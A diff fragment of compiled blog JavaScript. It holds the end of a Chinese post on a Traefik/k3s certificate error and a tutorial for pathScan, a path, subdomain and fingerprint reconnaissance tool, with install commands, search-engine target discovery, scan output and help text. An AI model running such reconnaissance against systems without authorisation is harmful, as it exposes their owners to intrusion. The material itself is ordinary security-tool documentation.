",(0,t.jsx)(n.code,{children:"kubernetes"})," \u670d\u52a1\u7aef\u7684 ping \u76ee\u5f55\u5bfc\u51fa\u6765\uff0c\u7136\u800c \u51fa\u73b0\u4e86\u8bc1\u4e66\u9519\u8bef 500"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-yaml",children:"apiVersion: traefik.io/v1alpha1\nkind: IngressRoute\nmetadata:\n name: kubernetes-ping-ingressroute\n namespace: default\nspec:\n entryPoints:\n - websecure # \u4f7f\u7528 HTTPS\n - web # HTTP\n routes:\n - match: Host(`kube.wjlin0.com`) && PathPrefix(`/ping`) # \u66ff\u6362\u4e3a\u4f60\u7684\u57df\u540d\n kind: Rule\n services:\n - name: kubernetes\n port: 443 # \u66ff\u6362\u4e3a\u4f60\u7684\u670d\u52a1\u7aef\u53e3\n scheme: https\n serversTransport: kube-system-kubernetes@kubernetescrd\n---\napiVersion: traefik.io/v1alpha1\nkind: ServersTransport\nmetadata:\n name: kubernetes\n namespace: kube-system\nspec:\n serverName: kubernetes.default.svc\n insecureSkipVerify: false\n rootCAsSecrets:\n - k3s-serving\n certificatesSecrets:\n - k3s-serving\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u8fd9\u662f\u6211\u7684\u9519\u8bef"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-tex",children:'2024-12-31T19:01:08+08:00 DBG github.com/traefik/traefik/v3/pkg/proxy/httputil/proxy.go:113 > 500 Internal Server Error error="tls: failed to verify certificate: x509: certificate signed by unknown authority"\n'})}),"\n",(0,t.jsxs)(n.p,{children:["\u4e8b\u5b9e\u4e0a ",(0,t.jsx)(n.code,{children:"k3s-serving"})," \u8fd9\u4e2a\u662f k3s \u7684 \u7684\u8bc1\u4e66"]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-sh",children:"\u279c ~ k get secrets -n kube-system k3s-serving -o yaml\napiVersion: v1\ndata:\n tls.crt: ..........\n tls.key: .......\nkind: Secret\nmetadata:\n .......\n .......\n .......\n name: k3s-serving\n namespace: kube-system\ntype: kubernetes.io/tls\n"})}),"\n",(0,t.jsx)(n.p,{children:"\u6211\u5c1d\u8bd5\u53bb\u89e3\u51b3\u5b83 \uff0c\u4e8e\u662f\u6211\u521b\u5efa\u4e86\u4e00\u4e2a sercert ,\u53d1\u73b0\u5b83 \u80fd\u591f\u8bbf\u95ee\u4e86"}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-yaml",children:"apiVersion: traefik.io/v1alpha1\nkind: IngressRoute\nmetadata:\n name: kubernetes-ping-ingressroute\n namespace: default\nspec:\n entryPoints:\n - websecure # \u4f7f\u7528 HTTPS\n - web # HTTP\n routes:\n - match: Host(`kube.wjlin0.com`) && PathPrefix(`/ping`) # \u66ff\u6362\u4e3a\u4f60\u7684\u57df\u540d\n kind: Rule\n services:\n - name: kubernetes\n port: 443 # \u66ff\u6362\u4e3a\u4f60\u7684\u670d\u52a1\u7aef\u53e3\n scheme: https\n serversTransport: kube-system-kubernetes@kubernetescrd\n---\napiVersion: traefik.io/v1alpha1\nkind: ServersTransport\nmetadata:\n name: kubernetes\n namespace: kube-system\nspec:\n serverName: kubernetes.default.svc\n insecureSkipVerify: false\n rootCAsSecrets:\n - meta\n certificatesSecrets:\n - k3s-serving\n---\napiVersion: v1\nkind: Secret\nmetadata:\n name: meta\n namespace: kube-system\ndata:\n ca.crt: ..... # the k3s crt base64\n"})}),"\n",(0,t.jsxs)(n.p,{children:["\u6211\u627e\u5230\u4e00\u4e2a\u7c7b\u4f3c\u7684\u95ee\u9898 ",(0,t.jsx)(n.a,{href:"https://github.com/traefik/traefik/issues/7788",children:"#7788"})]}),"\n",(0,t.jsxs)(n.p,{children:["\u7ffb\u4e86\u4e00\u4e0b\u6e90\u4ee3\u7801\uff0c\u53d1\u73b0\u53ea\u5bf9",(0,t.jsx)(n.code,{children:"ca.crt"}),"\u3001",(0,t.jsx)(n.code,{children:"tls.ca"}),"\u548c\u4e00\u4e2a\u51fa\u73b0\u7684",(0,t.jsx)(n.code,{children:"\u5bc6\u94a5"})]}),"\n",(0,t.jsx)(n.h2,{id:"\u603b\u7ed3",children:"\u603b\u7ed3"}),"\n",(0,t.jsxs)(n.p,{children:["traefik\u9ed8\u8ba4\u4e0d\u5f00\u542f\u8de8\u547d\u540d\u8c03\u7528\uff0c\u5982\u679c\u9700\u8981\uff0c\u9700\u8981\u5728\u5b89\u88c5\u65f6\uff0c\u6253\u5f00\u914d\u7f6e",(0,t.jsx)(n.code,{children:"allowCrossNamespace"}),"\u4e3a",(0,t.jsx)(n.code,{children:"true"}),"\uff0c\u5e76\u4f7f\u7528",(0,t.jsx)(n.a,{href:"https://doc.traefik.io/traefik/providers/overview/#provider-namespace",children:"\u547d\u540d\u89c4\u5219"})]}),"\n",(0,t.jsx)(n.pre,{children:(0,t.jsx)(n.code,{className:"language-text",children:"When you declare certain objects in the Traefik dynamic configuration, such as middleware, services, TLS options or server transports, they reside in their provider's namespace. For example, if you declare a middleware using a Docker label, it resides in the Docker provider namespace.\n\nIf you use multiple providers and wish to reference such an object declared in another provider (e.g. referencing a cross-provider object like middleware), then the object name should be suffixed by the @ separator, and the provider name.\n\nFor the list of the providers names, see the supported providers table below.\n\n<resource-name>@<provider-name>\n\nAs Kubernetes also has its own notion of namespace, one should not confuse the provider namespace with the Kubernetes Namespace of a resource when in the context of cross-provider usage.\n\nIn this case, since the definition of a Traefik dynamic configuration object is not in Kubernetes, specifying a Kubernetes Namespace when referring to the resource does not make any sense.\n\nOn the other hand, if you were to declare a middleware as a Custom Resource in Kubernetes and use the non-CRD Ingress objects, you would have to add the Kubernetes Namespace of the middleware to the annotation like this <middleware-namespace>-<middleware-name>@kubernetescrd.\n"})}),"\n",(0,t.jsx)(n.h2,{id:"\u53c2\u8003",children:"\u53c2\u8003"}),"\n",(0,t.jsxs)(n.ul,{children:["\n",(0,t.jsx)(n.li,{children:(0,t.jsx)(n.a,{href:"https://doc.traefik.io/traefik/providers/overview/#provider-namespace",children:"https://doc.traefik.io/traefik/providers/overview/#provider-namespace"})}),"\n"]})]})}function h(e={}){const{wrapper:n}={...(0,a.R)(),...e.components};return n?(0,t.jsx)(n,{...e,children:(0,t.jsx)(l,{...e})}):l(e)}},28453:(e,n,s)=>{s.d(n,{R:()=>i,x:()=>c});var r=s(96540);const t={},a=r.createContext(t);function i(e){const n=r.useContext(a);return r.useMemo(function(){return"function"==typeof e?e(n):{...n,...e}},[n,e])}function c(e){let n;return n=e.disableParentContext?"function"==typeof e.components?e.components(t):e.components||t:i(e.components),r.createElement(a.Provider,{value:n},e.children)}}}]); \ No newline at end of file diff --git a/assets/js/2e16e39b.83b94fb3.js b/assets/js/2e16e39b.83b94fb3.js new file mode 100644 index 0000000..b327b2f --- /dev/null +++ b/assets/js/2e16e39b.83b94fb3.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[9880],{28453:(n,e,t)=>{t.d(e,{R:()=>c,x:()=>l});var s=t(96540);const i={},a=s.createContext(i);function c(n){const e=s.useContext(a);return s.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function l(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(i):n.components||i:c(n.components),s.createElement(a.Provider,{value:e},n.children)}},58400:(n,e,t)=>{t.r(e),t.d(e,{assets:()=>d,contentTitle:()=>l,default:()=>o,frontMatter:()=>c,metadata:()=>s,toc:()=>r});const s=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5de5\u5177\u4f7f\u7528/PathScan","title":"PathScan","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/03.\u5de5\u5177\u4f7f\u7528/01.PathScan.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/03.\u5de5\u5177\u4f7f\u7528","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5de5\u5177\u4f7f\u7528/PathScan","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5de5\u5177\u4f7f\u7528/PathScan","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/01.\u6e17\u900f\u6d4b\u8bd5/03.\u5de5\u5177\u4f7f\u7528/01.PathScan.md","tags":[],"version":"current","sidebarPosition":1,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"SSRF\u6f0f\u6d1e","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/WEB\u6f0f\u6d1e/SSRF/"},"next":{"title":"oss-put","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u6e17\u900f\u6d4b\u8bd5/\u5de5\u5177\u4f7f\u7528/oss-put"}}');var i=t(74848),a=t(28453);const c={},l="pathScan",d={},r=[{value:"pathScan\u5b89\u88c5",id:"pathscan\u5b89\u88c5",level:2},{value:"\u4f7f\u7528",id:"\u4f7f\u7528",level:2},{value:"\u4e0b\u8f7d\u914d\u7f6e\u6587\u4ef6",id:"\u4e0b\u8f7d\u914d\u7f6e\u6587\u4ef6",level:3},{value:"\u57fa\u672c\u4f7f\u7528",id:"\u57fa\u672c\u4f7f\u7528",level:3},{value:"\u7f51\u7edc\u6d4b\u7ed8",id:"\u7f51\u7edc\u6d4b\u7ed8",level:3},{value:"\u57df\u540d\u641c\u7d22",id:"\u57df\u540d\u641c\u7d22",level:3},{value:"\u914d\u5408\u5176\u4ed6\u5de5\u5177",id:"\u914d\u5408\u5176\u4ed6\u5de5\u5177",level:3},{value:"\u66f4\u591a\u7528\u6cd5",id:"\u66f4\u591a\u7528\u6cd5",level:3},{value:"\u603b\u7ed3",id:"\u603b\u7ed3",level:2}];function h(n){const e={a:"a",blockquote:"blockquote",code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,a.R)(),...n.components};return(0,i.jsxs)(i.Fragment,{children:[(0,i.jsxs)(e.table,{children:[(0,i.jsx)(e.thead,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,i.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,i.jsx)(e.tbody,{children:(0,i.jsxs)(e.tr,{children:[(0,i.jsx)(e.td,{style:{textAlign:"left"},children:(0,i.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-blog-green",alt:"wjlin0"})}),(0,i.jsx)(e.td,{style:{textAlign:"left"},children:"2024-04-01 15:28:54"})]})})]}),"\n",(0,i.jsx)(e.header,{children:(0,i.jsx)(e.h1,{id:"pathscan",children:"pathScan"})}),"\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.a,{href:"https://github.com/wjlin0/pathScan",children:"pathScan"})," \u662f\u4e00\u4e2a\u7528Go\u7f16\u5199\u7684\u8def\u5f84\u626b\u63cf\u5de5\u5177\uff0c\u5b83\u5141\u8bb8\u60a8\u5feb\u901f\u53ef\u9760\u7684\u626b\u63cfURL\u5730\u5740\u548c\u5b50\u57df\u540d\u4fe1\u606f\u6536\u96c6\u3002"]}),"\n",(0,i.jsxs)(e.p,{children:["\u5730\u5740: ",(0,i.jsx)(e.a,{href:"https://github.com/wjlin0/pathScan",children:"https://github.com/wjlin0/pathScan"})]}),"\n",(0,i.jsx)(e.h2,{id:"pathscan\u5b89\u88c5",children:"pathScan\u5b89\u88c5"}),"\n",(0,i.jsxs)(e.p,{children:["pathScan\u5728\u5b89\u88c5\u524d\u65e0\u9700\u4efb\u4f55\u73af\u5883\u53ea\u9700\u8981\u4e0b\u8f7d\u5df2\u6253\u5305\u597d\u7684",(0,i.jsx)(e.a,{href:"https://github.com/wjlin0/pathScan/releases/",children:"\u4e8c\u8fdb\u5236\u6587\u4ef6"}),"\uff0c\u5e76\u6839\u636e\u64cd\u4f5c\u7cfb\u7edf\u9009\u51fa\u76f8\u5e94\u7684\u4e8c\u8fdb\u5236\u6587\u4ef6"]}),"\n",(0,i.jsx)(e.p,{children:"\u4f8b\u5982\uff0c\u4f7f\u7528 wget\u3001curl\u5b89\u88c5"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-sh",children:"wget -o pathScan.zip https://github.com/wjlin0/pathScan/releases/download/v2.0.6/pathScan_2.0.6_windows_amd64.zip\ncurl -L -o pathScan.zip https://github.com/wjlin0/pathScan/releases/download/v2.0.6/pathScan_2.0.6_linux_amd64.zip\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u6700\u540e\u9009\u62e9\u89e3\u538b\u5e76\u79fb\u690d\u5230\u73af\u5883\u53d8\u91cf\u4e2d\u7684\u76ee\u5f55\u4e2d"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-sh",children:"unzip pathScan.zip -d pathScan && chmod +x pathScan/pathScan && mv pathScan/pathScan /usr/local/bin/pathScan && rm -rf pathScan\npathScan -v\n"})}),"\n",(0,i.jsx)(e.p,{children:"\u5f53\u7136\u5982\u679c\u4f60\u627e\u4e0d\u5230\u4f60\u5bf9\u5e94\u7cfb\u7edf\u7684\u4e8c\u8fdb\u5236\u6587\u4ef6\uff0c\u90a3\u4e48\u4f60\u53ef\u4ee5\u9009\u62e9\u4ee5\u4e0b\u65b9\u5f0f"}),"\n",(0,i.jsxs)(e.p,{children:["go -> pathScan\u9700\u8981",(0,i.jsx)(e.strong,{children:"go1.21"}),"\u624d\u80fd\u5b89\u88c5\u6210\u529f"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-go",children:"go install -v github.com/wjlin0/pathScan@latest\n"})}),"\n",(0,i.jsx)(e.h2,{id:"\u4f7f\u7528",children:"\u4f7f\u7528"}),"\n",(0,i.jsx)(e.h3,{id:"\u4e0b\u8f7d\u914d\u7f6e\u6587\u4ef6",children:"\u4e0b\u8f7d\u914d\u7f6e\u6587\u4ef6"}),"\n",(0,i.jsxs)(e.p,{children:["pathScan\u7b2c\u4e00\u6b21\u8fd0\u884c\u4f1a\u521b\u5efa\u914d\u7f6e\u6587\u4ef6\u5230 ",(0,i.jsx)(e.code,{children:"$HOME/.config/pathScan/"})," \u4e2d"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202404011527135.png-.png",alt:"image-20240331021527107"})}),"\n",(0,i.jsx)(e.p,{children:"\u5f53\u7136\u521d\u59cb\u5316\u65f6\u8fd9\u4e9b\u6587\u4ef6\u5e76\u4e0d\u5b58\u5728\u914d\u7f6e\uff0c\u5176\u4e2d"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:[(0,i.jsx)(e.code,{children:"match-config"})," \u4e3a\u6307\u7eb9\u8bc6\u522b\u6587\u4ef6\u76ee\u5f55\uff0c\u8fd9\u4e2a\u6587\u4ef6\u53ef\u4ece\u7528\u547d\u4ee4 ",(0,i.jsx)(e.code,{children:"pathScan -um"})," \u4e0b\u8f7d\u6700\u65b0\u7684\u6307\u7eb9\u8bc6\u522b\u5e93"]}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202404011527136.png-.png",alt:"image-20240331021947545"})}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:"provider-config.yaml"})," \u4e3a\u7f51\u7edc\u7a7a\u95f4\u6d4b\u7ed8\u641c\u7d22\u5f15\u64ce\u7684API\u914d\u7f6e\u6587\u4ef6\uff0c\u53ef\u4ee5\u8bbe\u7f6e\u591a\u4e2akey\uff0c\u8fd0\u884c\u65f6\u968f\u673a\u9009\u62e9key"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202404011527137.png-.png",alt:"image-20240331022018093"})}),"\n"]}),"\n",(0,i.jsxs)(e.li,{children:["\n",(0,i.jsxs)(e.p,{children:[(0,i.jsx)(e.code,{children:"config.yaml"})," \u4e3a\u547d\u4ee4\u884c\u914d\u7f6e\uff0c\u5982\u679c\u4f60\u4e0d\u60f3\u8f93\u5165\u8fc7\u957f\u7684\u547d\u4ee4\uff0c\u5219\u53ef\u4ee5\u5c06\u53c2\u6570\u914d\u7f6e\u5728\u8be5\u6587\u4e2d\uff0c\u8fd0\u884c\u65f6\u4f1a\u81ea\u52a8\u8bfb\u53d6\u8be5\u6587\u4ef6\u5185\u5bb9"]}),"\n"]}),"\n"]}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202404011527138.png-.png",alt:"image-20240331022052551"})}),"\n",(0,i.jsx)(e.h3,{id:"\u57fa\u672c\u4f7f\u7528",children:"\u57fa\u672c\u4f7f\u7528"}),"\n",(0,i.jsxs)(e.blockquote,{children:["\n",(0,i.jsx)(e.p,{children:"\u63a2\u5bfb\u4e00\u4e2a\u5b8c\u6574\u7684\u57fa\u672c\u8def\u5f84\uff0c\u5e76\u6392\u9664404\u54cd\u5e94"}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-sh",children:"pathScan -u https://wjlin0.com -sc 404\n"})}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202404011527139.png-.png",alt:"image-20240331022150281"})}),"\n",(0,i.jsx)(e.p,{children:"\u5f53\u9519\u8bef\u8fc7\u591a\u65f6\uff0c\u4f60\u53ef\u4ee5\u9009\u62e9\u6392\u9664\u4e00\u4e9b\u4e0d\u5fc5\u8981\u7684 \u6bd4\u5982\u6392\u9664\u957f\u5ea6 483\u7684"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-sh",children:"pathScan -u https://wjlin0.com -sc 404 -sbl 483\n"})}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202404011527140.png-.png",alt:"image-20240331022403681"})}),"\n",(0,i.jsx)(e.h3,{id:"\u7f51\u7edc\u6d4b\u7ed8",children:"\u7f51\u7edc\u6d4b\u7ed8"}),"\n",(0,i.jsxs)(e.ul,{children:["\n",(0,i.jsx)(e.li,{children:"\u4ece\u7f51\u7edc\u7a7a\u95f4\u4e2d\uff0c\u53d1\u73b0\u76ee\u6807"}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-sh",children:"# \u9996\u5148\u5f97\u628akey\u914d\u7f6e\u5230 provider-config.yaml \u6587\u4ef6\u4e2d\npathScan -ue quake -uq 'domain: \"baidu.com\"' -uc -sc 404\n"})}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202307091219571.png-.png",alt:"image-20230709115619203"})}),"\n",(0,i.jsx)(e.h3,{id:"\u57df\u540d\u641c\u7d22",children:"\u57df\u540d\u641c\u7d22"}),"\n",(0,i.jsxs)(e.blockquote,{children:["\n",(0,i.jsx)(e.p,{children:"pathScan \u5176\u4e2d\u5185\u7f6e\u4e86\u8bb8\u591a\u722c\u866b\u4ee5\u53ca\u7f51\u7edc\u7a7a\u95f4\u5982\u4e0b\uff0c\u9ed8\u8ba4\u9009\u62e9\u6240\u6709\u8fdb\u884c\u6536\u96c6\uff0c\u5e76\u8fdb\u884c\u6307\u7eb9\u63a2\u6d4b\u8fd9\u662f\u4e00\u4f53\u7684"}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.code,{children:"shodan censys fofa quake hunter zoomeye netlas criminalip publicwww hunterhow binaryedge github fullhunt zone0 shodan-idb anubis-spider sitedossier-spider fofa-spider bing-spider chinaz-spider google-spider ip138-spider qianxun-spider rapiddns-spider baidu-spider yahoo-spider zoomeye-spider"})}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-sh",children:"pathScan -s -sq wjlin0.com \n"})}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-te",children:'\u279c ~ pathScan -s -sq wjlin0.com\n\n __ __ ____\n ___ ___ _ / /_ / / / __/____ ___ _ ___\n / _ \\/ _ // __// _ \\ _\\ \\ / __// _ // _ \\\n / .__/\\_,_/ \\__//_//_//___/ \\__/ \\_,_//_//_/\n/_/\n\n\t\t\twjlin0.com\n\n\u614e\u7528\u3002\u4f60\u8981\u4e3a\u81ea\u5df1\u7684\u884c\u4e3a\u8d1f\u8d23\n\u5f00\u53d1\u8005\u4e0d\u627f\u62c5\u4efb\u4f55\u8d23\u4efb\uff0c\u4e5f\u4e0d\u5bf9\u4efb\u4f55\u8bef\u7528\u6216\u635f\u574f\u8d1f\u8d23.\n[INF] Current pathScan version v2.0.5 (latest)\n[INF] Current pathScan-match version 1.1.2 (latest)\n[INF] PathScan-match templates loaded for current scan: 68\n[INF] Subdomain engine: ["shodan", "censys", "fofa", "quake", "hunter", "zoomeye", "netlas", "criminalip", "publicwww", "hunterhow", "binaryedge", "github", "fullhunt", "zone0", "shodan-idb", "anubis-spider", "sitedossier-spider", "fofa-spider", "bing-spider", "chinaz-spider", "google-spider", "ip138-spider", "qianxun-spider", "rapiddns-spider", "baidu-spider", "yahoo-spider", "zoomeye-spider"]\n[INF] Subdomain query: ["wjlin0.com"]\n[ERR] only ip/cidr are accepted\n[INF] Running check alive on input host\n[INF] Found 17 URL of alive hosts\n[INF] Total number of Requests: 510\nhttp://101.43.95.147:80/ [404] [146] [101.43.95.147] [waf-detect:nginxgeneric] [404 Not Found]\nhttp://42.101.4.41:80/ [403] [554] [42.101.4.41] [waf-detect:apachegeneric] [403 Forbidden]\nhttps://101.43.95.147:443/ [404] [548] [101.43.95.147] [waf-detect:nginxgeneric] [404 Not Found]\nhttps://101.43.95.147/ [404] [548] [101.43.95.147] [waf-detect:nginxgeneric] [404 Not Found]\nhttp://172.67.183.17:8080/ [403] [16] [172.67.183.17] [waf-detect:cloudflare]\nhttp://172.67.183.17:443/ [400] [253] [172.67.183.17] [waf-detect:cloudflare] [400 The plain HTTP request was sent to HTTPS port]\nhttp://172.67.183.17:8443/ [400] [253] [172.67.183.17] [waf-detect:cloudflare] [400 The plain HTTP request was sent to HTTPS port]\nhttp://172.67.183.17:80/ [403] [16] [172.67.183.17] [waf-detect:cloudflare]\nhttp://101.43.95.147:80/ [404] [548] [101.43.95.147] [waf-detect:nginxgeneric] [404 Not Found]\nhttp://42.101.4.41:80/ [403] [152] [42.101.4.41] [java-jsp:jsp,waf-detect:apachegeneric] [403 Forbidden]\nhttps://dns.wjlin0.com/ [404] [172.67.183.17] [waf-detect:cloudflare]\nhttps://book.wjlin0.com/ [404] [3082] [172.67.183.17] [waf-detect:cloudflare] [Page Not Found]\nhttps://101.43.95.147/ [404] [146] [101.43.95.147] [waf-detect:nginxgeneric] [404 Not Found]\nhttps://101.43.95.147:443/ [404] [146] [101.43.95.147] [waf-detect:nginxgeneric] [404 Not Found]\nhttps://cdusec.wjlin0.com/ [404] [3082] [104.21.36.16] [waf-detect:cloudflare] [Page Not Found]\nhttps://blog.wjlin0.com/ [404] [3082] [104.21.36.16] [waf-detect:cloudflare] [Page Not Found]\nhttps://wjlin0.com/ [200] [2288] [101.43.95.147]\n........\n........\n........\n'})}),"\n",(0,i.jsx)(e.h3,{id:"\u914d\u5408\u5176\u4ed6\u5de5\u5177",children:"\u914d\u5408\u5176\u4ed6\u5de5\u5177"}),"\n",(0,i.jsxs)(e.blockquote,{children:["\n",(0,i.jsx)(e.p,{children:"pathScan \u652f\u6301\u6807\u51c6\u8f93\u5165\u8f93\u51fa\uff0c\u6240\u4ee5\u4f60\u53ef\u4ee5\u8f7b\u677e\u4ece\u5176\u4ed6\u7684\u5de5\u5177\u7684\u8f93\u51fa\u7ed3\u679c\u83b7\u53d6\u5230\uff0c\u518d\u4ece\u6807\u51c6\u8f93\u51fa\u4f20\u9012\u7ed9\u5176\u4ed6\u5de5\u5177\u3002"}),"\n"]}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-sh",children:"cat url.txt | pathScan -ps / -silent | nuclei\n"})}),"\n",(0,i.jsx)(e.p,{children:(0,i.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202404011527141.png-.png",alt:"image-20240331022535664"})}),"\n",(0,i.jsx)(e.h3,{id:"\u66f4\u591a\u7528\u6cd5",children:"\u66f4\u591a\u7528\u6cd5"}),"\n",(0,i.jsx)(e.pre,{children:(0,i.jsx)(e.code,{className:"language-text",children:'\u279c ~ pathScan -h\npathScan 2.0.5 Go \u626b\u63cf\u3001\u4fe1\u606f\u6536\u96c6\u5de5\u5177\n\nUsage:\n pathScan [flags]\n\nFlags:\n\u8f93\u5165:\n -u, -url string[] \u76ee\u6807(\u4ee5\u9017\u53f7\u5206\u5272)\n -list string[] \u4ece\u6587\u4ef6\u4e2d,\u8bfb\u53d6\u76ee\u6807\n\n\u626b\u63cf\u5b57\u5178:\n -ps, -path string[] \u8def\u5f84(\u4ee5\u9017\u53f7\u5206\u5272)\n -pl, -path-list string[] \u4ece\u6587\u4ef6\u4e2d,\u8bfb\u53d6\u8def\u5f84\n -ldd, -load-default-dict \u76ee\u6807\u8d85\u8fc7\u4e00\u4e2a\u65f6\uff0c\u662f\u5426\u52a0\u8f7d\u9ed8\u8ba4\u5b57\u5178\n -lad, -load-api-dict \u662f\u5426\u52a0\u8f7dapi\u5b57\u5178\n\n\u5b50\u57df\u540d\u6536\u96c6\u6a21\u5f0f:\n -s, -sub \u5b50\u57df\u540d\u6536\u96c6\n -sq, -sub-query string[] \u9700\u8981\u6536\u96c6\u7684\u57df\u540d (\u652f\u6301\u4ece\u6587\u4ef6\u4e2d\u5f55\u5165 -sq /tmp/sub-query.txt)\n -sl, -sub-limit int \u6bcf\u4e2a\u641c\u7d22\u5f15\u64ce\u8fd4\u56de\u7684\u81f3\u5c11\u4e0d\u8d85\u8fc7\u6570 (default 1000)\n -so, -sub-output string \u5b50\u57df\u540d\u641c\u7d22\u7ed3\u679c\u4fdd\u5b58 \u652f\u6301csv\u683c\u5f0f\u8f93\u51fa\n -se, -sub-engine string[] \u5b50\u57df\u540d\u641c\u7d22\u5f15\u64ce [shodan censys fofa quake hunter zoomeye netlas criminalip publicwww hunterhow binaryedge github fullhunt zone0 shodan-idb anubis-spider sitedossier-spider fofa-spider bing-spider chinaz-spider google-spider ip138-spider qianxun-spider rapiddns-spider baidu-spider yahoo-spider zoomeye-spider] (default all)\n\n\u5f15\u64ce\u641c\u7d22\u6a21\u5f0f:\n -uc, -uncover \u542f\u7528\u6253\u5f00\u641c\u7d22\u5f15\u64ce\n -uq, -uncover-query string[] \u641c\u7d22\u67e5\u8be2\n -ue, -uncover-engine string[] \u652f\u6301\u7684\u5f15\u64ce [shodan censys fofa quake hunter zoomeye netlas criminalip publicwww hunterhow binaryedge github fullhunt zone0] (default fofa)\n -uf, -uncover-field string \u5f15\u64ce\u8fd4\u56de\u5b57\u6bb5 (ip,port,host) (default "host")\n -ul, -uncover-limit int \u53d1\u73b0\u8981\u8fd4\u56de\u7684\u7ed3\u679c (default 100)\n -uo, -uncover-output string \u641c\u7d22\u5f15\u64ce\u67e5\u8be2\u7ed3\u679c\u4fdd\u5b58 \u652f\u6301csv\u683c\u5f0f\u8f93\u51fa\n\n\u8df3\u8fc7:\n -su, -skip-url string[] \u8df3\u8fc7\u7684\u76ee\u6807(\u4ee5\u9017\u53f7\u5206\u5272,\u652f\u6301\u4ece\u6587\u4ef6\u8bfb\u53d6 -su /tmp/skip-url.txt)\n -sc, -skip-code string[] \u8df3\u8fc7\u72b6\u6001\u7801(\u4ee5\u9017\u53f7\u5206\u5272,\u652f\u6301\u4ece\u6587\u4ef6\u8bfb\u53d6 -sc /tmp/skip-code.txt, \u652f\u6301 5xx\u3001300-399 )\n -sh, -skip-hash string \u8df3\u8fc7\u6307\u5b9ahash\n -sbl, -skip-body-len string[] \u8df3\u8fc7body\u56fa\u5b9a\u957f\u5ea6(\u652f\u6301 100-200,\u5373\u957f\u5ea6\u4e3a100~200\u4e4b\u95f4\u7684\u5747\u8df3\u8fc7,\u652f\u6301 \u4ece\u6587\u4ef6\u4e2d\u8bfb\u53d6 -sbl /tmp/skip-body-len.txt)\n -sbr, -skip-body-regex string[] \u8df3\u8fc7body\u6b63\u5219\u5339\u914d(\u4ee5\u9017\u53f7\u5206\u5272,\u652f\u6301\u4ece\u6587\u4ef6\u8bfb\u53d6 -sbr /tmp/skip-regex.txt)\n\n\u8f93\u51fa:\n -o, -output string \u8f93\u51fa\u6587\u4ef6\u8def\u5f84\uff08\u53ef\u5ffd\u7565\uff09\n -csv csv\u683c\u5f0f\u8f93\u51fa\n -html html\u683c\u5f0f\u8f93\u51fa\n -silent \u7b80\u7565\u8f93\u51fa\n -nc, -no-color 